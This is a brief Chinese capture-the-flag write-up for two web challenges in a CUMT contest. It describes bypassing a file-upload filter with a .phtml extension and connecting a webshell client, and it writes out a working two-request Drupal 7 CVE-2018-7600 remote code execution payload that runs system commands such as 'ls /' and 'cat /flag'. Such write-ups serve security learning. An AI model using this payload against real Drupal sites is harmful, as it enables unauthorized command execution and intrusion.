CUMT第一轮双月赛Web题解

ez-upload

这个题目作为Web题的第一个题难度刚好，很基础的漏洞点，就考了个文件上传，上来直接用phtml就可以绕过，但是给出来的hint是.htaccess,可能是我非预期了？

菜刀链接获取flag

Cve

参考了这篇文章：https://www.menzel3.fun/2018/08/02/Drupal%20CVE2018-7600/#代码执行现场

这是一个Drupal 7的cve，照着构造payload就好，payload 分为两个请求。 先将 Payload 注入缓存中，构造下面的payload，发送一个POST包

POST请求：/?q=user/password&name[%23post_render][]=system&name[%23type]=markup&name[%23markup]=ls%20/

POST内容：form_id=user_pass&_triggering_element_name=name

获取form_build_id的value值：

然后再POST发送执行的包：/?q=file/ajax/name/%23value/form-b7pP9HUKwcQBEuhZ1GZ79qWXV0KRb5YxUGoWaozSPRU这里也需要form_build_id的值，POST的内容也是：form_build_id=form-b7pP9HUKwcQBEuhZ1GZ79qWXV0KRb5YxUGoWaozSPRU成功执行命令，这里注意一下参考文章里面的passthru命令用不了，只能改为system才能执行相关命令,所以上面缓存的时候换了用system函数

再来一次cat /flag的操作就可以读取flag了